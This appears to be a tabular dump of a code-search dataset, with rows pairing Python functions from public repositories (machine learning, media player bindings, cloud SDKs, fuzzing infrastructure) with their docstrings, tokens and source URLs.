nwo
stringlengths
5
106
sha
stringlengths
40
40
path
stringlengths
4
174
language
stringclasses
1 value
identifier
stringlengths
1
140
parameters
stringlengths
0
87.7k
argument_list
stringclasses
1 value
return_statement
stringlengths
0
426k
docstring
stringlengths
0
64.3k
docstring_summary
stringlengths
0
26.3k
docstring_tokens
list
function
stringlengths
18
4.83M
function_tokens
list
url
stringlengths
83
304
hendrycks/outlier-exposure
e6ede98a5474a0620d9befa50b38eaf584df4401
utils/validation_dataset.py
python
validation_split
(dataset, val_share=0.1)
return PartialDataset(dataset, 0, val_offset), PartialDataset(dataset, val_offset, len(dataset) - val_offset)
Split a (training and vaidation combined) dataset into training and validation. Note that to be statistically sound, the items in the dataset should be statistically independent (e.g. not sorted by class, not several instances of the same dataset that could end up in either set). inputs: dataset: ("training") dataset to split into training and validation val_share: fraction of validation data (should be 0<val_share<1, default: 0.1) returns: input dataset split into test_ds, val_ds
Split a (training and vaidation combined) dataset into training and validation. Note that to be statistically sound, the items in the dataset should be statistically independent (e.g. not sorted by class, not several instances of the same dataset that could end up in either set).
[ "Split", "a", "(", "training", "and", "vaidation", "combined", ")", "dataset", "into", "training", "and", "validation", ".", "Note", "that", "to", "be", "statistically", "sound", "the", "items", "in", "the", "dataset", "should", "be", "statistically", "indepen...
def validation_split(dataset, val_share=0.1): """ Split a (training and vaidation combined) dataset into training and validation. Note that to be statistically sound, the items in the dataset should be statistically independent (e.g. not sorted by class, not several instances of the same dataset that could end up in either set). inputs: dataset: ("training") dataset to split into training and validation val_share: fraction of validation data (should be 0<val_share<1, default: 0.1) returns: input dataset split into test_ds, val_ds """ val_offset = int(len(dataset) * (1 - val_share)) return PartialDataset(dataset, 0, val_offset), PartialDataset(dataset, val_offset, len(dataset) - val_offset)
[ "def", "validation_split", "(", "dataset", ",", "val_share", "=", "0.1", ")", ":", "val_offset", "=", "int", "(", "len", "(", "dataset", ")", "*", "(", "1", "-", "val_share", ")", ")", "return", "PartialDataset", "(", "dataset", ",", "0", ",", "val_off...
https://github.com/hendrycks/outlier-exposure/blob/e6ede98a5474a0620d9befa50b38eaf584df4401/utils/validation_dataset.py#L20-L34
snuspl/parallax
83791254ccd5d7a55213687a8dff4c2e04372694
parallax/parallax/examples/nmt/train.py
python
process_stats
(stats, info, global_step, steps_per_stats, log_f)
return is_overflow
Update info and check for overflow.
Update info and check for overflow.
[ "Update", "info", "and", "check", "for", "overflow", "." ]
def process_stats(stats, info, global_step, steps_per_stats, log_f): """Update info and check for overflow.""" # Update info info["avg_step_time"] = stats["step_time"] / steps_per_stats info["avg_grad_norm"] = stats["grad_norm"] / steps_per_stats info["train_ppl"] = utils.safe_exp(stats["loss"] / stats["predict_count"]) info["speed"] = stats["total_count"] / (1000 * stats["step_time"]) # Check for overflow is_overflow = False train_ppl = info["train_ppl"] if math.isnan(train_ppl) or math.isinf(train_ppl) or train_ppl > 1e20: utils.print_out(" step %d overflow, stop early" % global_step, log_f) is_overflow = True return is_overflow
[ "def", "process_stats", "(", "stats", ",", "info", ",", "global_step", ",", "steps_per_stats", ",", "log_f", ")", ":", "# Update info", "info", "[", "\"avg_step_time\"", "]", "=", "stats", "[", "\"step_time\"", "]", "/", "steps_per_stats", "info", "[", "\"avg_...
https://github.com/snuspl/parallax/blob/83791254ccd5d7a55213687a8dff4c2e04372694/parallax/parallax/examples/nmt/train.py#L231-L247
hasegaw/IkaLog
bd476da541fcc296f792d4db76a6b9174c4777ad
ikalog/inputs/win/screencapture.py
python
ScreenCapture._select_device_by_name_func
(self, source)
[]
def _select_device_by_name_func(self, source): IkaUtils.dprint( '%s: Does not support _select_device_by_name_func()' % self)
[ "def", "_select_device_by_name_func", "(", "self", ",", "source", ")", ":", "IkaUtils", ".", "dprint", "(", "'%s: Does not support _select_device_by_name_func()'", "%", "self", ")" ]
https://github.com/hasegaw/IkaLog/blob/bd476da541fcc296f792d4db76a6b9174c4777ad/ikalog/inputs/win/screencapture.py#L176-L178
linxid/Machine_Learning_Study_Path
558e82d13237114bbb8152483977806fc0c222af
Machine Learning In Action/Chapter5-LogisticRegression/venv/Lib/site-packages/pip/_vendor/progress/helpers.py
python
WritelnMixin.clearln
(self)
[]
def clearln(self): if self.file.isatty(): print('\r\x1b[K', end='', file=self.file)
[ "def", "clearln", "(", "self", ")", ":", "if", "self", ".", "file", ".", "isatty", "(", ")", ":", "print", "(", "'\\r\\x1b[K'", ",", "end", "=", "''", ",", "file", "=", "self", ".", "file", ")" ]
https://github.com/linxid/Machine_Learning_Study_Path/blob/558e82d13237114bbb8152483977806fc0c222af/Machine Learning In Action/Chapter5-LogisticRegression/venv/Lib/site-packages/pip/_vendor/progress/helpers.py#L61-L63
jaseg/python-mpv
1f59cfa07246c993737b25857fd01421b2da8bbd
mpv.py
python
MPV.frame_back_step
(self)
Mapped mpv frame_back_step command, see man mpv(1).
Mapped mpv frame_back_step command, see man mpv(1).
[ "Mapped", "mpv", "frame_back_step", "command", "see", "man", "mpv", "(", "1", ")", "." ]
def frame_back_step(self): """Mapped mpv frame_back_step command, see man mpv(1).""" self.command('frame_back_step')
[ "def", "frame_back_step", "(", "self", ")", ":", "self", ".", "command", "(", "'frame_back_step'", ")" ]
https://github.com/jaseg/python-mpv/blob/1f59cfa07246c993737b25857fd01421b2da8bbd/mpv.py#L1067-L1069
matt-graham/mici
aa209e2cf698bb9e0c7c733d7b6a5557ab5df190
mici/systems.py
python
CholeskyFactoredRiemannianMetricSystem.__init__
( self, neg_log_dens, metric_chol_func, vjp_metric_chol_func=None, grad_neg_log_dens=None, )
Args: neg_log_dens (Callable[[array], float]): Function which given a position array returns the negative logarithm of an unnormalized probability density on the position space with respect to the Lebesgue measure, with the corresponding distribution on the position space being the target distribution it is wished to draw approximate samples from. metric_chol_func (Callable[[array], array]): Function which given a position array returns a 2D array with zeros above the diagonal corresponding to the lower-triangular Cholesky-factor of the positive definite metric matrix representation. vjp_metric_chol_func (None or Callable[[array], Callable[[array], array]] or Callable[[array], Tuple[Callable[[array], array], array]]): Function which given a position array returns another function which takes a lower-triangular 2D array as an argument (any values in the array above the diagonal are ignored) and returns the *vector-Jacobian-product* (VJP) of `metric_chol_func` with respect to the position array argument. The VJP is here defined as a function of a 2D array `v` vjp(v) = sum(v[:, :, None] * jacob[:, :, :], axis=(0, 1)) where `jacob` is the `(dim_pos, dim_pos, dim_pos)` shaped Jacobian of `L = metric_chol_func(q)` with respect to `q` i.e. the array of partial derivatives of the function such that jacob[i, j, k] = ∂L[i, j] / ∂q[k] Optionally the function may instead return a 2-tuple of values with the first a function to compute a VJP of `metric_chol_func` and the second a 2D array containing the value of `metric_chol_func`, both evaluated at the passed position array. If `None` is passed (the default) an automatic differentiation fallback will be used to attempt to construct a function which calculates the VJP (and value) of `metric_chol_func` automatically. grad_neg_log_dens ( None or Callable[[array], array or Tuple[array, float]]): Function which given a position array returns the derivative of `neg_log_dens` with respect to the position array argument. Optionally the function may instead return a 2-tuple of values with the first being the array corresponding to the derivative and the second being the value of the `neg_log_dens` evaluated at the passed position array. If `None` is passed (the default) an automatic differentiation fallback will be used to attempt to construct the derivative of `neg_log_dens` automatically.
Args: neg_log_dens (Callable[[array], float]): Function which given a position array returns the negative logarithm of an unnormalized probability density on the position space with respect to the Lebesgue measure, with the corresponding distribution on the position space being the target distribution it is wished to draw approximate samples from. metric_chol_func (Callable[[array], array]): Function which given a position array returns a 2D array with zeros above the diagonal corresponding to the lower-triangular Cholesky-factor of the positive definite metric matrix representation. vjp_metric_chol_func (None or Callable[[array], Callable[[array], array]] or Callable[[array], Tuple[Callable[[array], array], array]]): Function which given a position array returns another function which takes a lower-triangular 2D array as an argument (any values in the array above the diagonal are ignored) and returns the *vector-Jacobian-product* (VJP) of `metric_chol_func` with respect to the position array argument. The VJP is here defined as a function of a 2D array `v`
[ "Args", ":", "neg_log_dens", "(", "Callable", "[[", "array", "]", "float", "]", ")", ":", "Function", "which", "given", "a", "position", "array", "returns", "the", "negative", "logarithm", "of", "an", "unnormalized", "probability", "density", "on", "the", "p...
def __init__( self, neg_log_dens, metric_chol_func, vjp_metric_chol_func=None, grad_neg_log_dens=None, ): """ Args: neg_log_dens (Callable[[array], float]): Function which given a position array returns the negative logarithm of an unnormalized probability density on the position space with respect to the Lebesgue measure, with the corresponding distribution on the position space being the target distribution it is wished to draw approximate samples from. metric_chol_func (Callable[[array], array]): Function which given a position array returns a 2D array with zeros above the diagonal corresponding to the lower-triangular Cholesky-factor of the positive definite metric matrix representation. vjp_metric_chol_func (None or Callable[[array], Callable[[array], array]] or Callable[[array], Tuple[Callable[[array], array], array]]): Function which given a position array returns another function which takes a lower-triangular 2D array as an argument (any values in the array above the diagonal are ignored) and returns the *vector-Jacobian-product* (VJP) of `metric_chol_func` with respect to the position array argument. The VJP is here defined as a function of a 2D array `v` vjp(v) = sum(v[:, :, None] * jacob[:, :, :], axis=(0, 1)) where `jacob` is the `(dim_pos, dim_pos, dim_pos)` shaped Jacobian of `L = metric_chol_func(q)` with respect to `q` i.e. the array of partial derivatives of the function such that jacob[i, j, k] = ∂L[i, j] / ∂q[k] Optionally the function may instead return a 2-tuple of values with the first a function to compute a VJP of `metric_chol_func` and the second a 2D array containing the value of `metric_chol_func`, both evaluated at the passed position array. If `None` is passed (the default) an automatic differentiation fallback will be used to attempt to construct a function which calculates the VJP (and value) of `metric_chol_func` automatically. grad_neg_log_dens ( None or Callable[[array], array or Tuple[array, float]]): Function which given a position array returns the derivative of `neg_log_dens` with respect to the position array argument. Optionally the function may instead return a 2-tuple of values with the first being the array corresponding to the derivative and the second being the value of the `neg_log_dens` evaluated at the passed position array. If `None` is passed (the default) an automatic differentiation fallback will be used to attempt to construct the derivative of `neg_log_dens` automatically. """ super().__init__( neg_log_dens, matrices.TriangularFactoredPositiveDefiniteMatrix, metric_chol_func, vjp_metric_chol_func, grad_neg_log_dens, metric_kwargs={"factor_is_lower": True}, )
[ "def", "__init__", "(", "self", ",", "neg_log_dens", ",", "metric_chol_func", ",", "vjp_metric_chol_func", "=", "None", ",", "grad_neg_log_dens", "=", "None", ",", ")", ":", "super", "(", ")", ".", "__init__", "(", "neg_log_dens", ",", "matrices", ".", "Tria...
https://github.com/matt-graham/mici/blob/aa209e2cf698bb9e0c7c733d7b6a5557ab5df190/mici/systems.py#L1389-L1452
Netflix/security_monkey
c28592ffd518fa399527d26262683fc860c30eef
security_monkey/watcher.py
python
Watcher.changed
(self)
return len(self.changed_items) > 0
Used by the Jinja templates :returns: True if changed_items is not empty :returns: False otherwise.
Used by the Jinja templates :returns: True if changed_items is not empty :returns: False otherwise.
[ "Used", "by", "the", "Jinja", "templates", ":", "returns", ":", "True", "if", "changed_items", "is", "not", "empty", ":", "returns", ":", "False", "otherwise", "." ]
def changed(self): """ Used by the Jinja templates :returns: True if changed_items is not empty :returns: False otherwise. """ return len(self.changed_items) > 0
[ "def", "changed", "(", "self", ")", ":", "return", "len", "(", "self", ".", "changed_items", ")", ">", "0" ]
https://github.com/Netflix/security_monkey/blob/c28592ffd518fa399527d26262683fc860c30eef/security_monkey/watcher.py#L207-L213
huawei-noah/Pretrained-Language-Model
d4694a134bdfacbaef8ff1d99735106bd3b3372b
NEZHA-Gen-TensorFlow/interactive_conditional_generation.py
python
dropout
(input_tensor, dropout_prob)
return output
Perform dropout. Args: input_tensor: float Tensor. dropout_prob: Python float. The probability of dropping out a value (NOT of *keeping* a dimension as in `tf.nn.dropout`). Returns: A version of `input_tensor` with dropout applied.
Perform dropout.
[ "Perform", "dropout", "." ]
def dropout(input_tensor, dropout_prob): """Perform dropout. Args: input_tensor: float Tensor. dropout_prob: Python float. The probability of dropping out a value (NOT of *keeping* a dimension as in `tf.nn.dropout`). Returns: A version of `input_tensor` with dropout applied. """ if dropout_prob is None or dropout_prob == 0.0: return input_tensor output = tf.nn.dropout(input_tensor, 1.0 - dropout_prob) return output
[ "def", "dropout", "(", "input_tensor", ",", "dropout_prob", ")", ":", "if", "dropout_prob", "is", "None", "or", "dropout_prob", "==", "0.0", ":", "return", "input_tensor", "output", "=", "tf", ".", "nn", ".", "dropout", "(", "input_tensor", ",", "1.0", "-"...
https://github.com/huawei-noah/Pretrained-Language-Model/blob/d4694a134bdfacbaef8ff1d99735106bd3b3372b/NEZHA-Gen-TensorFlow/interactive_conditional_generation.py#L362-L377
plaid/plaid-python
8c60fca608e426f3ff30da8857775946d29e122c
plaid/model/numbers_eft_nullable.py
python
NumbersEFTNullable.additional_properties_type
()
return (bool, date, datetime, dict, float, int, list, str, none_type,)
This must be a method because a model may have properties that are of type self, this must run after the class is loaded
This must be a method because a model may have properties that are of type self, this must run after the class is loaded
[ "This", "must", "be", "a", "method", "because", "a", "model", "may", "have", "properties", "that", "are", "of", "type", "self", "this", "must", "run", "after", "the", "class", "is", "loaded" ]
def additional_properties_type(): """ This must be a method because a model may have properties that are of type self, this must run after the class is loaded """ lazy_import() return (bool, date, datetime, dict, float, int, list, str, none_type,)
[ "def", "additional_properties_type", "(", ")", ":", "lazy_import", "(", ")", "return", "(", "bool", ",", "date", ",", "datetime", ",", "dict", ",", "float", ",", "int", ",", "list", ",", "str", ",", "none_type", ",", ")" ]
https://github.com/plaid/plaid-python/blob/8c60fca608e426f3ff30da8857775946d29e122c/plaid/model/numbers_eft_nullable.py#L63-L69
IronLanguages/ironpython3
7a7bb2a872eeab0d1009fc8a6e24dca43f65b693
Src/StdLib/Lib/multiprocessing/connection.py
python
_ConnectionBase.recv
(self)
return ForkingPickler.loads(buf.getbuffer())
Receive a (picklable) object
Receive a (picklable) object
[ "Receive", "a", "(", "picklable", ")", "object" ]
def recv(self): """Receive a (picklable) object""" self._check_closed() self._check_readable() buf = self._recv_bytes() return ForkingPickler.loads(buf.getbuffer())
[ "def", "recv", "(", "self", ")", ":", "self", ".", "_check_closed", "(", ")", "self", ".", "_check_readable", "(", ")", "buf", "=", "self", ".", "_recv_bytes", "(", ")", "return", "ForkingPickler", ".", "loads", "(", "buf", ".", "getbuffer", "(", ")", ...
https://github.com/IronLanguages/ironpython3/blob/7a7bb2a872eeab0d1009fc8a6e24dca43f65b693/Src/StdLib/Lib/multiprocessing/connection.py#L246-L251
securesystemslab/zippy
ff0e84ac99442c2c55fe1d285332cfd4e185e089
zippy/benchmarks/src/benchmarks/sympy/sympy/functions/elementary/complexes.py
python
sign._eval_is_integer
(self)
return self.args[0].is_real
[]
def _eval_is_integer(self): return self.args[0].is_real
[ "def", "_eval_is_integer", "(", "self", ")", ":", "return", "self", ".", "args", "[", "0", "]", ".", "is_real" ]
https://github.com/securesystemslab/zippy/blob/ff0e84ac99442c2c55fe1d285332cfd4e185e089/zippy/benchmarks/src/benchmarks/sympy/sympy/functions/elementary/complexes.py#L293-L294
oracle/oci-python-sdk
3c1604e4e212008fb6718e2f68cdb5ef71fd5793
src/oci/application_migration/application_migration_client_composite_operations.py
python
ApplicationMigrationClientCompositeOperations.delete_migration_and_wait_for_state
(self, migration_id, wait_for_states=[], operation_kwargs={}, waiter_kwargs={})
Calls :py:func:`~oci.application_migration.ApplicationMigrationClient.delete_migration` and waits for the :py:class:`~oci.application_migration.models.WorkRequest` to enter the given state(s). :param str migration_id: (required) The `OCID`__ of the migration. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :param list[str] wait_for_states: An array of states to wait on. These should be valid values for :py:attr:`~oci.application_migration.models.WorkRequest.status` :param dict operation_kwargs: A dictionary of keyword arguments to pass to :py:func:`~oci.application_migration.ApplicationMigrationClient.delete_migration` :param dict waiter_kwargs: A dictionary of keyword arguments to pass to the :py:func:`oci.wait_until` function. For example, you could pass ``max_interval_seconds`` or ``max_interval_seconds`` as dictionary keys to modify how long the waiter function will wait between retries and the maximum amount of time it will wait
Calls :py:func:`~oci.application_migration.ApplicationMigrationClient.delete_migration` and waits for the :py:class:`~oci.application_migration.models.WorkRequest` to enter the given state(s).
[ "Calls", ":", "py", ":", "func", ":", "~oci", ".", "application_migration", ".", "ApplicationMigrationClient", ".", "delete_migration", "and", "waits", "for", "the", ":", "py", ":", "class", ":", "~oci", ".", "application_migration", ".", "models", ".", "WorkR...
def delete_migration_and_wait_for_state(self, migration_id, wait_for_states=[], operation_kwargs={}, waiter_kwargs={}): """ Calls :py:func:`~oci.application_migration.ApplicationMigrationClient.delete_migration` and waits for the :py:class:`~oci.application_migration.models.WorkRequest` to enter the given state(s). :param str migration_id: (required) The `OCID`__ of the migration. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :param list[str] wait_for_states: An array of states to wait on. These should be valid values for :py:attr:`~oci.application_migration.models.WorkRequest.status` :param dict operation_kwargs: A dictionary of keyword arguments to pass to :py:func:`~oci.application_migration.ApplicationMigrationClient.delete_migration` :param dict waiter_kwargs: A dictionary of keyword arguments to pass to the :py:func:`oci.wait_until` function. For example, you could pass ``max_interval_seconds`` or ``max_interval_seconds`` as dictionary keys to modify how long the waiter function will wait between retries and the maximum amount of time it will wait """ operation_result = None try: operation_result = self.client.delete_migration(migration_id, **operation_kwargs) except oci.exceptions.ServiceError as e: if e.status == 404: return WAIT_RESOURCE_NOT_FOUND else: raise e if not wait_for_states: return operation_result lowered_wait_for_states = [w.lower() for w in wait_for_states] wait_for_resource_id = operation_result.headers['opc-work-request-id'] try: waiter_result = oci.wait_until( self.client, self.client.get_work_request(wait_for_resource_id), evaluate_response=lambda r: getattr(r.data, 'status') and getattr(r.data, 'status').lower() in lowered_wait_for_states, **waiter_kwargs ) result_to_return = waiter_result return result_to_return except Exception as e: raise oci.exceptions.CompositeOperationError(partial_results=[operation_result], cause=e)
[ "def", "delete_migration_and_wait_for_state", "(", "self", ",", "migration_id", ",", "wait_for_states", "=", "[", "]", ",", "operation_kwargs", "=", "{", "}", ",", "waiter_kwargs", "=", "{", "}", ")", ":", "operation_result", "=", "None", "try", ":", "operatio...
https://github.com/oracle/oci-python-sdk/blob/3c1604e4e212008fb6718e2f68cdb5ef71fd5793/src/oci/application_migration/application_migration_client_composite_operations.py#L188-L234
google/clusterfuzz
f358af24f414daa17a3649b143e71ea71871ef59
src/clusterfuzz/_internal/datastore/data_handler.py
python
bot_run_timed_out
()
return dates.time_has_expired(start_time, seconds=actual_run_timeout)
Return true if our run timed out.
Return true if our run timed out.
[ "Return", "true", "if", "our", "run", "timed", "out", "." ]
def bot_run_timed_out(): """Return true if our run timed out.""" run_timeout = environment.get_value('RUN_TIMEOUT') if not run_timeout: return False start_time = environment.get_value('START_TIME') if not start_time: return False start_time = datetime.datetime.utcfromtimestamp(start_time) # Actual run timeout takes off the duration for one task. average_task_duration = environment.get_value('AVERAGE_TASK_DURATION', 0) actual_run_timeout = run_timeout - average_task_duration return dates.time_has_expired(start_time, seconds=actual_run_timeout)
[ "def", "bot_run_timed_out", "(", ")", ":", "run_timeout", "=", "environment", ".", "get_value", "(", "'RUN_TIMEOUT'", ")", "if", "not", "run_timeout", ":", "return", "False", "start_time", "=", "environment", ".", "get_value", "(", "'START_TIME'", ")", "if", "...
https://github.com/google/clusterfuzz/blob/f358af24f414daa17a3649b143e71ea71871ef59/src/clusterfuzz/_internal/datastore/data_handler.py#L1105-L1121
datactive/bigbang
d4fef7eb41ae04e51f4e369de5a721c66231202b
bigbang/ingress/abstract.py
python
AbstractMessageParser.to_mbox
(msg: Message, filepath: str)
return bio.email_to_mbox(msg, filepath)
Parameters ---------- msg : The Email. filepath : Path to file in which the Email will be stored.
Parameters ---------- msg : The Email. filepath : Path to file in which the Email will be stored.
[ "Parameters", "----------", "msg", ":", "The", "Email", ".", "filepath", ":", "Path", "to", "file", "in", "which", "the", "Email", "will", "be", "stored", "." ]
def to_mbox(msg: Message, filepath: str): """ Parameters ---------- msg : The Email. filepath : Path to file in which the Email will be stored. """ return bio.email_to_mbox(msg, filepath)
[ "def", "to_mbox", "(", "msg", ":", "Message", ",", "filepath", ":", "str", ")", ":", "return", "bio", ".", "email_to_mbox", "(", "msg", ",", "filepath", ")" ]
https://github.com/datactive/bigbang/blob/d4fef7eb41ae04e51f4e369de5a721c66231202b/bigbang/ingress/abstract.py#L177-L184
openstack/trove
be86b79119d16ee77f596172f43b0c97cb2617bd
trove/guestagent/datastore/manager.py
python
Manager.post_upgrade
(self, context, upgrade_info)
Recovers the guest after the image is upgraded using information from the pre_upgrade step
Recovers the guest after the image is upgraded using information from the pre_upgrade step
[ "Recovers", "the", "guest", "after", "the", "image", "is", "upgraded", "using", "information", "from", "the", "pre_upgrade", "step" ]
def post_upgrade(self, context, upgrade_info): """Recovers the guest after the image is upgraded using information from the pre_upgrade step """ pass
[ "def", "post_upgrade", "(", "self", ",", "context", ",", "upgrade_info", ")", ":", "pass" ]
https://github.com/openstack/trove/blob/be86b79119d16ee77f596172f43b0c97cb2617bd/trove/guestagent/datastore/manager.py#L366-L370
ahmetozlu/tensorflow_object_counting_api
630a1471a1aa19e582d09898f569c5eea031a21d
mask_rcnn_counting_api/spaghetti_counter_training/mrcnn/model.py
python
resnet_graph
(input_image, architecture, stage5=False, train_bn=True)
return [C1, C2, C3, C4, C5]
Build a ResNet graph. architecture: Can be resnet50 or resnet101 stage5: Boolean. If False, stage5 of the network is not created train_bn: Boolean. Train or freeze Batch Norm layers
Build a ResNet graph. architecture: Can be resnet50 or resnet101 stage5: Boolean. If False, stage5 of the network is not created train_bn: Boolean. Train or freeze Batch Norm layers
[ "Build", "a", "ResNet", "graph", ".", "architecture", ":", "Can", "be", "resnet50", "or", "resnet101", "stage5", ":", "Boolean", ".", "If", "False", "stage5", "of", "the", "network", "is", "not", "created", "train_bn", ":", "Boolean", ".", "Train", "or", ...
def resnet_graph(input_image, architecture, stage5=False, train_bn=True): """Build a ResNet graph. architecture: Can be resnet50 or resnet101 stage5: Boolean. If False, stage5 of the network is not created train_bn: Boolean. Train or freeze Batch Norm layers """ assert architecture in ["resnet50", "resnet101"] # Stage 1 x = KL.ZeroPadding2D((3, 3))(input_image) x = KL.Conv2D(64, (7, 7), strides=(2, 2), name='conv1', use_bias=True)(x) x = BatchNorm(name='bn_conv1')(x, training=train_bn) x = KL.Activation('relu')(x) C1 = x = KL.MaxPooling2D((3, 3), strides=(2, 2), padding="same")(x) # Stage 2 x = conv_block(x, 3, [64, 64, 256], stage=2, block='a', strides=(1, 1), train_bn=train_bn) x = identity_block(x, 3, [64, 64, 256], stage=2, block='b', train_bn=train_bn) C2 = x = identity_block(x, 3, [64, 64, 256], stage=2, block='c', train_bn=train_bn) # Stage 3 x = conv_block(x, 3, [128, 128, 512], stage=3, block='a', train_bn=train_bn) x = identity_block(x, 3, [128, 128, 512], stage=3, block='b', train_bn=train_bn) x = identity_block(x, 3, [128, 128, 512], stage=3, block='c', train_bn=train_bn) C3 = x = identity_block(x, 3, [128, 128, 512], stage=3, block='d', train_bn=train_bn) # Stage 4 x = conv_block(x, 3, [256, 256, 1024], stage=4, block='a', train_bn=train_bn) block_count = {"resnet50": 5, "resnet101": 22}[architecture] for i in range(block_count): x = identity_block(x, 3, [256, 256, 1024], stage=4, block=chr(98 + i), train_bn=train_bn) C4 = x # Stage 5 if stage5: x = conv_block(x, 3, [512, 512, 2048], stage=5, block='a', train_bn=train_bn) x = identity_block(x, 3, [512, 512, 2048], stage=5, block='b', train_bn=train_bn) C5 = x = identity_block(x, 3, [512, 512, 2048], stage=5, block='c', train_bn=train_bn) else: C5 = None return [C1, C2, C3, C4, C5]
[ "def", "resnet_graph", "(", "input_image", ",", "architecture", ",", "stage5", "=", "False", ",", "train_bn", "=", "True", ")", ":", "assert", "architecture", "in", "[", "\"resnet50\"", ",", "\"resnet101\"", "]", "# Stage 1", "x", "=", "KL", ".", "ZeroPaddin...
https://github.com/ahmetozlu/tensorflow_object_counting_api/blob/630a1471a1aa19e582d09898f569c5eea031a21d/mask_rcnn_counting_api/spaghetti_counter_training/mrcnn/model.py#L171-L206
Project-Platypus/Platypus
a4e56410a772798e905407e99f80d03b86296ad3
platypus/tools.py
python
only_keys_for
(d, func)
return only_keys(d, *inspect.getargspec(func)[0])
Returns a new dictionary containing only keys matching function arguments. Parameters ---------- d : dict The original dictionary. func: callable The function.
Returns a new dictionary containing only keys matching function arguments. Parameters ---------- d : dict The original dictionary. func: callable The function.
[ "Returns", "a", "new", "dictionary", "containing", "only", "keys", "matching", "function", "arguments", ".", "Parameters", "----------", "d", ":", "dict", "The", "original", "dictionary", ".", "func", ":", "callable", "The", "function", "." ]
def only_keys_for(d, func): """Returns a new dictionary containing only keys matching function arguments. Parameters ---------- d : dict The original dictionary. func: callable The function. """ return only_keys(d, *inspect.getargspec(func)[0])
[ "def", "only_keys_for", "(", "d", ",", "func", ")", ":", "return", "only_keys", "(", "d", ",", "*", "inspect", ".", "getargspec", "(", "func", ")", "[", "0", "]", ")" ]
https://github.com/Project-Platypus/Platypus/blob/a4e56410a772798e905407e99f80d03b86296ad3/platypus/tools.py#L586-L596
apple/ccs-calendarserver
13c706b985fb728b9aab42dc0fef85aae21921c3
txdav/common/datastore/file.py
python
CommonStoreTransaction.notificationsWithUID
(self, uid, home=None, create=False)
return NotificationCollection.notificationsFromHome(self, home)
[]
def notificationsWithUID(self, uid, home=None, create=False): if home is None: home = self.homeWithUID(self._notificationHomeType, uid, create=True) return NotificationCollection.notificationsFromHome(self, home)
[ "def", "notificationsWithUID", "(", "self", ",", "uid", ",", "home", "=", "None", ",", "create", "=", "False", ")", ":", "if", "home", "is", "None", ":", "home", "=", "self", ".", "homeWithUID", "(", "self", ".", "_notificationHomeType", ",", "uid", ",...
https://github.com/apple/ccs-calendarserver/blob/13c706b985fb728b9aab42dc0fef85aae21921c3/txdav/common/datastore/file.py#L357-L361
USEPA/WNTR
2f92bab5736da6ef3591fc4b0229ec1ac6cd6fcc
wntr/sim/models/constraint.py
python
head_pump_headloss_constraint.build
(cls, m, wn, updater, index_over=None)
Adds a headloss constraint to the model for the head curve pumps. Parameters ---------- m: wntr.aml.aml.aml.Model wn: wntr.network.model.WaterNetworkModel updater: ModelUpdater index_over: list of str list of HeadPump names; default is all HeadPumps in wn
Adds a headloss constraint to the model for the head curve pumps.
[ "Adds", "a", "headloss", "constraint", "to", "the", "model", "for", "the", "head", "curve", "pumps", "." ]
def build(cls, m, wn, updater, index_over=None): """ Adds a headloss constraint to the model for the head curve pumps. Parameters ---------- m: wntr.aml.aml.aml.Model wn: wntr.network.model.WaterNetworkModel updater: ModelUpdater index_over: list of str list of HeadPump names; default is all HeadPumps in wn """ if not hasattr(m, 'head_pump_headloss'): m.head_pump_headloss = aml.ConstraintDict() if index_over is None: index_over = wn.head_pump_name_list for link_name in index_over: if link_name in m.head_pump_headloss: del m.head_pump_headloss[link_name] link = wn.get_link(link_name) f = m.flow[link_name] status = link.status if status == LinkStatus.Closed or link._is_isolated: con = aml.Constraint(f) else: start_node_name = link.start_node_name end_node_name = link.end_node_name start_node = wn.get_node(start_node_name) end_node = wn.get_node(end_node_name) if isinstance(start_node, wntr.network.Junction): start_h = m.head[start_node_name] else: start_h = m.source_head[start_node_name] if isinstance(end_node, wntr.network.Junction): end_h = m.head[end_node_name] else: end_h = m.source_head[end_node_name] A, B, C = link.get_head_curve_coefficients() if C <= 1: a, b, c, d = get_pump_poly_coefficients(A, B, C, m) con = aml.ConditionalExpression() con.add_condition(aml.inequality(body=f, ub=m.pump_q1), m.pump_slope * f + A - end_h + start_h) con.add_condition(aml.inequality(body=f, ub=m.pump_q2), a*f**3 + b*f**2 + c*f + d - end_h + start_h) con.add_final_expr(A - B*f**C - end_h + start_h) con = aml.Constraint(con) else: q_bar, h_bar = get_pump_line_params(A, B, C, m) con = aml.ConditionalExpression() con.add_condition(aml.inequality(body=f, ub=q_bar), m.pump_slope*(f - q_bar) + h_bar - end_h + start_h) con.add_final_expr(A - B*f**C - end_h + start_h) con = aml.Constraint(con) m.head_pump_headloss[link_name] = con updater.add(link, 'status', head_pump_headloss_constraint.update) updater.add(link, '_is_isolated', head_pump_headloss_constraint.update) updater.add(link, 'pump_curve_name', head_pump_headloss_constraint.update)
[ "def", "build", "(", "cls", ",", "m", ",", "wn", ",", "updater", ",", "index_over", "=", "None", ")", ":", "if", "not", "hasattr", "(", "m", ",", "'head_pump_headloss'", ")", ":", "m", ".", "head_pump_headloss", "=", "aml", ".", "ConstraintDict", "(", ...
https://github.com/USEPA/WNTR/blob/2f92bab5736da6ef3591fc4b0229ec1ac6cd6fcc/wntr/sim/models/constraint.py#L271-L332
eirannejad/pyRevit
49c0b7eb54eb343458ce1365425e6552d0c47d44
site-packages/sqlalchemy/engine/base.py
python
Connection.connection
(self)
The underlying DB-API connection managed by this Connection. .. seealso:: :ref:`dbapi_connections`
The underlying DB-API connection managed by this Connection.
[ "The", "underlying", "DB", "-", "API", "connection", "managed", "by", "this", "Connection", "." ]
def connection(self): """The underlying DB-API connection managed by this Connection. .. seealso:: :ref:`dbapi_connections` """ try: return self.__connection except AttributeError: try: return self._revalidate_connection() except BaseException as e: self._handle_dbapi_exception(e, None, None, None, None)
[ "def", "connection", "(", "self", ")", ":", "try", ":", "return", "self", ".", "__connection", "except", "AttributeError", ":", "try", ":", "return", "self", ".", "_revalidate_connection", "(", ")", "except", "BaseException", "as", "e", ":", "self", ".", "...
https://github.com/eirannejad/pyRevit/blob/49c0b7eb54eb343458ce1365425e6552d0c47d44/site-packages/sqlalchemy/engine/base.py#L335-L351
zhl2008/awd-platform
0416b31abea29743387b10b3914581fbe8e7da5e
web_hxb2/lib/python3.5/site-packages/setuptools/dist.py
python
Distribution._exclude_packages
(self, packages)
[]
def _exclude_packages(self, packages): if not isinstance(packages, sequence): raise DistutilsSetupError( "packages: setting must be a list or tuple (%r)" % (packages,) ) list(map(self.exclude_package, packages))
